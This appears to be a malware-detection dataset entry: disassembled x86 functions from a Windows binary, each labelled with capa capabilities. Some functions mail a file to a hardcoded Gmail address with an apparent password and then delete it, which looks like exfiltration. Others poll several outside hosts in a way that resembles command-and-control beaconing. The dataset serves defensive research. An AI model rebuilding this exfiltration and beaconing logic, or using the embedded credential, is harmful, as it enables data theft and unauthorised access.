joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45f7eb
Capabilities:
Encode data using base64

Disassembly:
mov eax, 0x47cc47
call fcn.0047c7d4
sub esp, 0x18
push ebx
mov eax, ecx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], eax
xor ebx, ebx
push esi
mov dword [ebp - 0x24], ebx
call fcn.0045fbab
mov eax, dword [ebp + 8]
mov esi, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x24], 1
test eax, eax
je 0x45f963
push edi
push 3
pop edi
mov ecx, dword [ebp - 0x20]
dec eax
mov dword [ebp + 8], eax
mov al, byte [ecx]
mov byte [ebp + esi - 0x14], al
inc esi
mov dl, byte [ebp - 0x13]
inc ecx
mov dword [ebp - 0x20], ecx
mov ch, byte [ebp - 0x12]
mov cl, byte [ebp - 0x14]
mov byte [ebp - 0xf], ch
mov byte [ebp - 0xd], dl
mov byte [ebp - 0xe], cl
cmp esi, edi
jne 0x45f8b3
mov edi, dword [ebp - 0x1c]
mov al, cl
shr al, 2
and cl, 3
mov byte [ebp - 0x18], al
mov esi, ebx
shl cl, 4
mov al, dl
shr al, 4
add cl, al
mov al, ch
mov byte [ebp - 0x17], cl
mov cl, dl
and cl, 0xf
shr al, 6
shl cl, 2
add cl, al
and ch, 0x3f
mov byte [ebp - 0x16], cl
mov byte [ebp - 0x15], ch
movzx eax, byte [ebp + esi - 0x18]
mov ecx, 0x4c40f8
push eax
call fcn.0045fb35
mov ecx, edi
movzx eax, byte [eax]
push eax
call fcn.0045fb41
inc esi
cmp esi, 4
jl 0x45f884
mov dl, byte [ebp - 0xd]
mov esi, ebx
mov cl, byte [ebp - 0xe]
mov ch, byte [ebp - 0xf]
push 3
pop edi
mov eax, dword [ebp + 8]
test eax, eax
jne 0x45f827
mov dword [ebp + 8], esi
test esi, esi
je 0x45f962
cmp esi, edi
jge 0x45f8ea
mov eax, edi
sub eax, esi
push eax
lea eax, [ebp - 0x14]
add eax, esi
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
mov ch, byte [ebp - 0x12]
add esp, 0xc
mov dl, byte [ebp - 0x13]
mov cl, byte [ebp - 0x14]
mov al, cl
and cl, 3
shr al, 2
mov byte [ebp - 0x18], al
mov al, dl
shr al, 4
and dl, 0xf
shl cl, 4
add cl, al
shl dl, 2
mov al, ch
mov byte [ebp - 0x17], cl
shr al, 6
and ch, 0x3f
add dl, al
mov byte [ebp - 0x15], ch
lea eax, [esi + 1]
mov byte [ebp - 0x16], dl
mov dword [ebp - 0x20], eax
test eax, eax
jle 0x45f94d
mov edi, dword [ebp - 0x1c]
mov esi, eax
movzx eax, byte [ebp + ebx - 0x18]
mov ecx, 0x4c40f8
push eax
call fcn.0045fb35
mov ecx, edi
movzx eax, byte [eax]
push eax
call fcn.0045fb41
inc ebx
cmp ebx, esi
jl 0x45f927
mov esi, dword [ebp + 8]
push 3
pop edi
cmp esi, edi
jge 0x45f962
sub edi, esi
mov ecx, dword [ebp - 0x1c]
push 0x3d
call fcn.0045fb41
sub edi, 1
jne 0x45f953
pop edi
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x4601b0
Capabilities:
Get hostname
Initialize winsock library

Disassembly:
mov eax, 0x47cd50
call fcn.0047c7d4
sub esp, 0x298
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x14], esi
push edi
lea ecx, [esi + 4]
mov dword [esi], vtable.CSmtp.0
call fcn.0045fbab
and dword [ebp - 4], 0
lea ecx, [esi + 0x1c]
call fcn.0045fbab
lea ecx, [esi + 0x34]
call fcn.0045fbab
lea ecx, [esi + 0x4c]
call fcn.0045fbab
lea ecx, [esi + 0x64]
call fcn.0045fbab
lea ecx, [esi + 0x7c]
call fcn.0045fbab
lea ecx, [esi + 0x94]
call fcn.0045fbab
lea ecx, [esi + 0xb0]
call fcn.0045fbab
lea ecx, [esi + 0xc8]
call fcn.0045fbab
lea ecx, [esi + 0xe0]
call fcn.0045fbab
lea ecx, [esi + 0xf8]
call fcn.0045fbab
lea ecx, [esi + 0x128]
call fcn.00463ee2
lea ecx, [esi + 0x134]
call fcn.00463ee2
lea ecx, [esi + 0x140]
call fcn.00463ee2
lea ecx, [esi + 0x14c]
call fcn.00463ee2
lea ecx, [esi + 0x158]
call fcn.00463ee2
mov byte [ebp - 4], 0xf
xor eax, eax
or dword [esi + 0x120], 0xffffffff
mov word [esi + 0x110], ax
lea eax, [ebp - 0x2a4]
push eax
push 0x202
mov byte [esi + 0x124], 0
mov dword [esi + 0x114], 3
mov byte [esi + 0x112], 1
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x460375
mov eax, dword [ebp - 0x2a4]
cmp al, 2
jne 0x46036b
shr eax, 8
cmp al, 2
jne 0x46036b
push 0xff
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
cmp eax, 0xffffffff
jne 0x4602ed
push 0x6b
jmp 0x460377
lea eax, [ebp - 0x114]
push eax
lea ecx, [esi + 4]
call fcn.0046400c
mov edi, dword [sym.imp.mfc140u.dll_operator]
push 0x2800
call edi
mov dword [esi + 0x11c], eax
pop ecx
test eax, eax
jne 0x46031b
push 0x198
jmp 0x460377
push 0x2800
call edi
mov dword [esi + 0x118], eax
pop ecx
test eax, eax
je 0x460314
xor eax, eax
lea ecx, [esi + 0x64]
push str.US_ASCII
mov dword [esi + 0x168], eax
mov dword [esi + 0x16c], eax
mov dword [esi + 0x170], eax
mov byte [esi + 0x164], al
mov byte [esi + 0xac], al
call fcn.0046400c
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0x65
jmp 0x460377
push 0x64
lea ecx, [ebp - 0x10]
call fcn.00460048
push 0x4aedb8
mov eax, ecx
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x463605
Capabilities:
Get socket status

Disassembly:
sub esp, 0x614
mov eax, dword [esp + 0x61c]
push ebx
push esi
mov esi, ecx
xor ebx, ebx
and dword [esp + 0x10], ebx
mov eax, dword [eax + 8]
push edi
xor edi, edi
mov dword [esp + 0x10], eax
cmp dword [esi + 0x11c], ebx
je 0x4637fd
push ebp
and dword [esp + 0x1c], 0
mov eax, dword [esi + 0x120]
mov dword [esp + 0x124], eax
mov dword [esp + 0x120], 1
test ebx, ebx
je 0x463660
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
lea ecx, [esp + 0x14]
inc eax
push ecx
push 0
lea ecx, [esp + 0x24]
push ecx
lea ecx, [esp + 0x12c]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x4637cf
test eax, eax
je 0x4637ab
lea eax, [esp + 0x120]
push eax
push dword [esi + 0x120]
call dword [sym.imp.WS2_32.dll___WSAFDIsSet]
test eax, eax
jne 0x4636c2
test ebx, ebx
je 0x463633
lea eax, [esp + 0x1c]
push eax
push dword [esi + 0x120]
call dword [sym.imp.WS2_32.dll___WSAFDIsSet]
test eax, eax
je 0x463633
xor ebx, ebx
push 0x400
lea eax, [esp + 0x228]
push eax
push dword [esp + 0x630]
call fcn.004011f0
mov ebp, eax
push ebp
push dword [esp + 0x638]
call fcn.004026e0
add esp, 0x14
test eax, eax
jne 0x46376b
lea eax, [edi + ebp]
mov dword [esp + 0x10], eax
cmp eax, 0x27ff
jg 0x463818
push ebp
lea eax, [esp + 0x228]
push eax
mov eax, dword [esi + 0x11c]
add eax, edi
push eax
call sub.VCRUNTIME140.dll_memcpy
push dword [esp + 0x634]
mov edi, dword [esp + 0x20]
call fcn.004011d0
add esp, 0x10
test eax, eax
jne 0x4636c4
mov eax, dword [esi + 0x11c]
xor ecx, ecx
mov dword [esp + 0x120], ecx
mov dword [esp + 0x1c], ecx
mov byte [edi + eax], cl
test edi, edi
jne 0x4637f0
push 0x190
lea ecx, [esp + 0x14]
call fcn.00460048
push 0x4aedb8
mov eax, ecx
jmp 0x463838
cmp eax, 6
je 0x463733
cmp eax, 2
je 0x463633
cmp eax, 3
jne 0x463786
xor ebx, ebx
inc ebx
jmp 0x463633
and dword [esp + 0x120], ebx
lea ecx, [esp + 0x10]
and dword [esp + 0x1c], ebx
push 0x19e
call fcn.00460048
push 0x4aedb8
mov eax, ecx
jmp 0x463838
and dword [esp + 0x120], 0
lea ecx, [esp + 0x10]
and dword [esp + 0x1c], 0
push 0x192
call fcn.00460048
push 0x4aedb8
mov eax, ecx
jmp 0x463838
and dword [esp + 0x120], 0
lea ecx, [esp + 0x10]
and dword [esp + 0x1c], 0
push 0x6d
call fcn.00460048
push 0x4aedb8
mov eax, ecx
jmp 0x463838
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x614
ret 8
push 0x19a
lea ecx, [esp + 0x10]
call fcn.00460048
push 0x4aedb8
mov eax, ecx
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
and dword [esp + 0x120], ebx
lea ecx, [esp + 0x10]
and dword [esp + 0x1c], ebx
push 0x198
call fcn.00460048
push 0x4aedb8
mov eax, ecx
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x46383f
Capabilities:
Print debug messages

Disassembly:
mov eax, 0x47ce7d
call fcn.0047c7d4
sub esp, 0x20
push ebx
push esi
mov ebx, ecx
lea ecx, [ebp - 0x2c]
push edi
mov dword [ebp - 0x10], ebx
call fcn.0045fbab
and dword [ebp - 4], 0
push dword [ebp + 8]
mov ecx, ebx
call fcn.00462c39
push dword [ebx + 0x11c]
lea ecx, [ebp - 0x2c]
call fcn.00463fc9
lea ecx, [ebp - 0x2c]
call fcn.0045fb31
mov edi, eax
xor ebx, ebx
mov dword [ebp - 0x14], edi
xor esi, esi
lea edx, [esi + 1]
jmp 0x4638ac
push esi
lea ecx, [ebp - 0x2c]
call fcn.0045fb35
cmp byte [eax], 0xd
jne 0x4638aa
push edx
lea ecx, [ebp - 0x2c]
call fcn.0045fb35
cmp byte [eax], 0xa
je 0x4638b0
inc esi
inc edx
cmp edx, edi
jb 0x46388e
lea eax, [esi + 1]
cmp eax, edi
jae 0x463931
add esi, 2
mov edi, esi
sub edi, ebx
cmp edi, 5
jb 0x463927
push ebx
lea ecx, [ebp - 0x2c]
call fcn.0045fb35
movsx eax, byte [eax]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isdigit]
pop ecx
test eax, eax
je 0x463927
lea eax, [ebx + 1]
push eax
lea ecx, [ebp - 0x2c]
call fcn.0045fb35
movsx eax, byte [eax]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isdigit]
pop ecx
test eax, eax
je 0x463927
lea eax, [ebx + 2]
push eax
lea ecx, [ebp - 0x2c]
call fcn.0045fb35
movsx eax, byte [eax]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_isdigit]
pop ecx
test eax, eax
je 0x463927
cmp edi, 5
je 0x463939
lea eax, [ebx + 3]
push eax
lea ecx, [ebp - 0x2c]
call fcn.0045fb35
cmp byte [eax], 0x20
je 0x463939
mov edi, dword [ebp - 0x14]
mov ebx, esi
jmp 0x463889
mov ebx, dword [ebp - 0x10]
jmp 0x463860
push ebx
lea ecx, [ebp - 0x2c]
call fcn.0045fb35
lea ecx, [ebp - 0x2c]
movsx eax, byte [eax]
imul edx, eax, 0xa
lea eax, [ebx + 1]
push eax
call fcn.0045fb35
lea ecx, [ebp - 0x2c]
movsx eax, byte [eax]
add edx, eax
lea eax, [ebx + 2]
push eax
imul edx, edx, 0xa
call fcn.0045fb35
add edx, 0xffffeb30
lea ecx, [ebp - 0x2c]
movsx esi, byte [eax]
add esi, edx
call fcn.00463fc4
mov edi, dword [ebp - 0x10]
push eax
push 0x2800
push dword [edi + 0x11c]
call fcn.00465127
add esp, 0xc
push dword [edi + 0x11c]
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov eax, dword [ebp + 8]
pop edi
cmp esi, dword [eax + 0xc]
pop esi
pop ebx
jne 0x4639bf
lea ecx, [ebp - 0x2c]
call fcn.0045fb55
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
leave
ret 4
push dword [eax + 0x10]
lea ecx, [ebp + 8]
call fcn.00460048
push 0x4aedb8
mov eax, ecx
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x4639d8
Capabilities:
Get socket status
Print debug messages

Disassembly:
sub esp, 0x214
push ebx
push ebp
push esi
push edi
mov edi, ecx
xor ebx, ebx
mov dword [esp + 0x10], ebx
mov ecx, dword [edi + 0x118]
mov esi, ecx
lea edx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x4639f5
mov eax, dword [esp + 0x22c]
sub esi, edx
and dword [esp + 0x18], ebx
xor ebp, ebp
mov eax, dword [eax + 4]
mov dword [esp + 0x14], eax
test ecx, ecx
je 0x463b81
jmp 0x463b1b
and dword [esp + 0x1c], 0
mov eax, dword [edi + 0x120]
mov dword [esp + 0x124], eax
mov dword [esp + 0x120], 1
test ebp, ebp
je 0x463a4c
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
lea ecx, [esp + 0x14]
inc eax
push ecx
push 0
lea ecx, [esp + 0x128]
push ecx
lea ecx, [esp + 0x28]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x463b60
test eax, eax
je 0x463b3c
lea eax, [esp + 0x120]
push eax
push dword [edi + 0x120]
call dword [sym.imp.WS2_32.dll___WSAFDIsSet]
test eax, eax
jne 0x463aae
test ebp, ebp
je 0x463b1b
lea eax, [esp + 0x1c]
push eax
push dword [edi + 0x120]
call dword [sym.imp.WS2_32.dll___WSAFDIsSet]
test eax, eax
je 0x463b1b
mov eax, dword [edi + 0x118]
xor ebp, ebp
push esi
add eax, ebx
push eax
push dword [esp + 0x230]
call fcn.00401290
mov ebx, eax
push ebx
push dword [esp + 0x238]
call fcn.004026e0
add esp, 0x14
sub eax, ebp
je 0x463b11
dec eax
sub eax, 1
je 0x463b0c
sub eax, 1
je 0x463b17
and dword [esp + 0x1c], ebp
lea ecx, [esp + 0x10]
and dword [esp + 0x120], ebp
push 0x19e
call fcn.00460048
push 0x4aedb8
mov eax, ecx
jmp 0x463b96
xor ebp, ebp
inc ebp
jmp 0x463b17
sub esi, ebx
add dword [esp + 0x10], ebx
mov ebx, dword [esp + 0x10]
test esi, esi
jg 0x463a1f
push dword [edi + 0x118]
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x214
ret 8
and dword [esp + 0x120], 0
lea ecx, [esp + 0x10]
and dword [esp + 0x1c], 0
push 0x192
call fcn.00460048
push 0x4aedb8
mov eax, ecx
jmp 0x463b96
and dword [esp + 0x120], 0
lea ecx, [esp + 0x10]
and dword [esp + 0x1c], 0
push 0x6d
call fcn.00460048
push 0x4aedb8
mov eax, ecx
jmp 0x463b96
push 0x19b
lea ecx, [esp + 0x14]
call fcn.00460048
push 0x4aedb8
mov eax, ecx
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x463be4
Capabilities:
Get socket status

Disassembly:
sub esp, 0x214
push esi
mov esi, ecx
mov eax, dword [esi + 0x16c]
test eax, eax
je 0x463d52
push eax
call fcn.00401e00
mov dword [esi + 0x170], eax
pop ecx
test eax, eax
jne 0x463c26
push 0x19e
lea ecx, [esp + 8]
call fcn.00460048
push 0x4aedb8
mov eax, ecx
jmp 0x463d67
push ebx
push ebp
push edi
push dword [esi + 0x120]
push eax
call fcn.00401170
xor ebp, ebp
push ebp
push 4
push 0x21
push dword [esi + 0x170]
call fcn.004022a0
add esp, 0x18
mov dword [esp + 0x14], 0xb4
mov ebx, ebp
mov dword [esp + 0x18], ebp
mov edi, ebp
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x120], ebp
test ebx, ebx
je 0x463c7b
mov eax, dword [esi + 0x120]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
test edi, edi
je 0x463c97
mov eax, dword [esi + 0x120]
mov dword [esp + 0x124], eax
mov dword [esp + 0x120], 1
test ebx, ebx
jne 0x463c9f
test edi, edi
je 0x463ccd
lea eax, [esp + 0x14]
mov ebx, ebp
push eax
push ebp
lea eax, [esp + 0x24]
mov edi, ebp
push eax
lea eax, [esp + 0x12c]
push eax
mov eax, dword [esi + 0x120]
inc eax
push eax
call dword [sym.imp.WS2_32.dll_select]
cmp eax, 0xffffffff
je 0x463d28
test eax, eax
je 0x463d06
push dword [esi + 0x170]
call fcn.00402800
push eax
push dword [esi + 0x170]
call fcn.004026e0
add esp, 0xc
sub eax, ebp
je 0x463d47
dec eax
sub eax, 1
je 0x463cfe
sub eax, 1
jne 0x463d6d
xor ebx, ebx
inc ebx
jmp 0x463c5a
xor edi, edi
inc edi
jmp 0x463c5a
push 0x192
lea ecx, [esp + 0x14]
mov dword [esp + 0x20], ebp
mov dword [esp + 0x124], ebp
call fcn.00460048
push 0x4aedb8
mov eax, ecx
jmp 0x463d8d
push 0x6d
lea ecx, [esp + 0x14]
mov dword [esp + 0x20], ebp
mov dword [esp + 0x124], ebp
call fcn.00460048
push 0x4aedb8
mov eax, ecx
jmp 0x463d8d
pop edi
pop ebp
pop ebx
pop esi
add esp, 0x214
ret
push 0x19e
lea ecx, [esp + 8]
call fcn.00460048
push 0x4aedb8
mov eax, ecx
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
push 0x19e
lea ecx, [esp + 0x14]
mov dword [esp + 0x20], ebp
mov dword [esp + 0x124], ebp
call fcn.00460048
push 0x4aedb8
mov eax, ecx
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x46514f
Capabilities:
Delete file

Disassembly:
mov eax, 0x47cec6
call fcn.0047c7d4
sub esp, 0x194
and dword [ebp - 4], 0
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x10], esp
lea ecx, [ebp - 0x1a0]
mov esi, edx
call fcn.004601b0
mov byte [ebp - 4], 1
call fcn.0046692d
movzx eax, word [0x4c155c]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x1a0]
call fcn.0046319e
xor eax, eax
lea ecx, [ebp - 0x1a0]
cmp dword [0x4c1558], 2
sete al
inc eax
push eax
call fcn.0046005a
push str.wise.bear.lu_gmail.com
call fcn.00463188
push str.JnkL7PE5mZAjyV0g
lea ecx, [ebp - 0x1a0]
call fcn.00463193
push ecx
lea ecx, [ebp - 0x1a0]
call fcn.00463158
push ecx
lea ecx, [ebp - 0x1a0]
call fcn.00463148
push ecx
lea ecx, [ebp - 0x1a0]
call fcn.00463135
push ecx
lea ecx, [ebp - 0x1a0]
call fcn.00463168
push ecx
push ecx
lea ecx, [ebp - 0x1a0]
call fcn.0046052b
push ecx
lea ecx, [ebp - 0x1a0]
call fcn.00463128
push ecx
call fcn.00463178
push str.Hello_
lea ecx, [ebp - 0x1a0]
call fcn.004605ba
mov ebx, 0x4a50e1
lea ecx, [ebp - 0x1a0]
push ebx
call fcn.004605ba
push str.url:
lea ecx, [ebp - 0x1a0]
call fcn.004605ba
push esi
lea ecx, [ebp - 0x1a0]
call fcn.004605ba
push ebx
lea ecx, [ebp - 0x1a0]
call fcn.004605ba
push str.See_attachment.
lea ecx, [ebp - 0x1a0]
call fcn.004605ba
push ebx
lea ecx, [ebp - 0x1a0]
call fcn.004605ba
push str.Regards
lea ecx, [ebp - 0x1a0]
call fcn.004605ba
push ecx
push ecx
lea ecx, [ebp - 0x1a0]
call fcn.00460673
push ecx
lea ecx, [ebp - 0x1a0]
call fcn.00460614
push str.User
lea ecx, [ebp - 0x1a0]
call fcn.004605ba
push edi
lea ecx, [ebp - 0x1a0]
call fcn.004604d1
lea ecx, [ebp - 0x1a0]
call fcn.004606e6
lea ecx, [ebp - 0x1a0]
call fcn.004603b1
or dword [ebp - 4], 0xffffffff
mov edx, str.Mail_was_send_successfully._n
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.0046535d
push esi
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
pop ecx
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret

Function at 0x4658a9
Capabilities:
Hash data with md5

Disassembly:
xor eax, eax
mov dword [ecx], 0x67452301
mov byte [ecx + 0x68], al
mov dword [ecx + 0x10], eax
mov dword [ecx + 0x14], eax
mov dword [ecx + 4], 0xefcdab89
mov dword [ecx + 8], 0x98badcfe
mov dword [ecx + 0xc], 0x10325476
ret
Function at 0x4663a7
Capabilities:
Get file version info

Disassembly:
sub esp, 0x214
lea eax, [esp + 0xc]
push ebx
push ebp
push esi
push 0x208
push eax
mov ebx, edx
mov ebp, ecx
call fcn.00467904
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x466441
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
mov esi, eax
test esi, esi
je 0x466441
push edi
push esi
call dword [sym.imp.mfc140u.dll_operator]
pop ecx
mov edi, eax
lea eax, [esp + 0x1c]
push edi
push esi
push dword [esp + 0x18]
push eax
call dword [sym.imp.VERSION.dll_GetFileVersionInfoW]
test eax, eax
je 0x466432
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x18]
push eax
push 0x4a6204
push edi
call dword [sym.imp.VERSION.dll_VerQueryValueW]
test eax, eax
je 0x466432
mov ecx, dword [esp + 0x14]
xor esi, esi
inc esi
mov eax, dword [ecx + 8]
mov dword [ebp], eax
mov eax, dword [ecx + 0xc]
mov dword [ebx], eax
jmp 0x466434
xor esi, esi
push edi
call dword [sym.imp.mfc140u.dll_operator_1]
pop ecx
mov eax, esi
pop edi
jmp 0x466443
xor eax, eax
pop esi
pop ebp
pop ebx
add esp, 0x214
ret

Function at 0x46648e
Capabilities:
Read data from internet
Receive data

Disassembly:
sub esp, 0x204
push ebx
push ebp
push esi
push edi
xor ebp, ebp
lea eax, [esp + 0x14]
push 0x200
push ebp
push eax
mov esi, edx
mov dword [esp + 0x1c], ebp
mov ebx, ecx
call sub.VCRUNTIME140.dll_memset
push 0x400
push ebp
push esi
call sub.VCRUNTIME140.dll_memset
mov edi, dword [esp + 0x234]
add esp, 0x18
mov dword [edi], ebp
lea eax, [esp + 0x10]
push eax
push 0x200
lea eax, [esp + 0x1c]
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x4664ec
mov ecx, ebp
mov dword [esp + 0x10], ecx
jmp 0x4664f0
mov ecx, dword [esp + 0x10]
test ecx, ecx
je 0x466527
mov edx, dword [edi]
lea eax, [edx + ecx]
cmp eax, 0x400
ja 0x46653f
push ecx
lea eax, [esp + 0x18]
push eax
lea eax, [edx + esi]
push eax
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [esp + 0x1c]
add esp, 0xc
add dword [edi], eax
test eax, eax
je 0x466527
mov ecx, esi
call fcn.004678f8
test eax, eax
je 0x4664ca
mov ecx, esi
call fcn.004678f8
neg eax
sbb al, al
inc al
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x204
ret
xor al, al
jmp 0x466534
Function at 0x466da0
Capabilities:
Create http request

Disassembly:
sub esp, 0x408
mov ecx, 0x4e81c0
push ebx
push ebp
push esi
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.mfc140u.dll_Ordinal_1663]
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
push str._php_alive.php
mov edx, 0x4e8074
lea ecx, [esp + 0x10]
mov ebp, eax
call fcn.0045f219
pop ecx
push ebx
push 0x84000101
push 0xffffffffffffffff
push ebx
mov ecx, eax
call dword [sym.imp.mfc140u.dll_Ordinal_1663]
push eax
push ebp
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
lea ecx, [esp + 0xc]
mov esi, eax
call dword [sym.imp.mfc140u.dll_Ordinal_1045]
test esi, esi
je 0x466e3c
lea eax, [esp + 0x10]
push eax
push ecx
lea edx, [esp + 0x1c]
mov ecx, esi
call fcn.0046648e
pop ecx
pop ecx
test al, al
je 0x466e35
mov eax, dword [esp + 0x10]
test eax, eax
je 0x466e35
mov byte [esp + eax + 0x14], bl
cmp byte [esp + 0x14], 0x6f
jne 0x466e35
xor eax, eax
inc eax
cmp byte [esp + 0x15], 0x6b
cmove ebx, eax
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebp
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop esi
pop ebp
mov eax, ebx
pop ebx
add esp, 0x408
ret
Function at 0x466e4f
Capabilities:
Create http request

Disassembly:
mov eax, 0x47d026
call fcn.0047c7d4
sub esp, 0x408
mov ecx, 0x4e81c0
push ebx
push esi
xor esi, esi
push esi
push esi
push esi
push esi
call dword [sym.imp.mfc140u.dll_Ordinal_1663]
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
push esi
push 0x84000101
push 0xffffffffffffffff
push esi
mov ebx, eax
push str.http:__api.virtualaudiostreaming.net_c.txt
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
test esi, esi
je 0x466f63
lea eax, [ebp - 0x10]
push eax
push ecx
lea edx, [ebp - 0x414]
mov ecx, esi
call fcn.0046648e
pop ecx
pop ecx
test al, al
je 0x466f43
cmp dword [ebp - 0x10], 0
jbe 0x466f43
call fcn.0045f51d
lea ecx, [ebp - 0x414]
mov dword [ebp - 0x10], eax
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x466ed1
sub ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x14], eax
cmp eax, 0x3fffffff
jle 0x466eeb
xor eax, eax
jmp 0x466f05
add eax, eax
call fcn.0047c520
mov ecx, esp
lea edx, [ebp - 0x414]
push dword [ebp - 0x10]
push dword [ebp - 0x14]
call fcn.0045f1e6
push eax
lea ecx, [ebp - 0x10]
call dword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__16]
and dword [ebp - 4], 0
lea ecx, [ebp - 0x10]
call dword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__7]
lea ecx, [ebp - 0x10]
call dword [sym.imp.mfc140u.dll_Ordinal_1663]
push eax
push str.doqnwekllhmtj.cloudfront.net
mov ecx, 0x4e8074
call dword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__6]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call dword [sym.imp.mfc140u.dll_Ordinal_1045]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
call fcn.00466da0
test eax, eax
jne 0x466f7c
push str.http:__doqnwekllhmtj.cloudfront.net
mov ecx, 0x4e8074
call dword [sym.imp.mfc140u.dll_ATL::CSimpleStringT_wchar_t_1_::operator]
call fcn.00466da0
test eax, eax
jne 0x466f7c
push str.http:__ytmusicdownloader.us_
mov ecx, 0x4e8074
call dword [sym.imp.mfc140u.dll_ATL::CSimpleStringT_wchar_t_1_::operator]
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
lea esp, [ebp - 0x41c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
pop ebx
leave
ret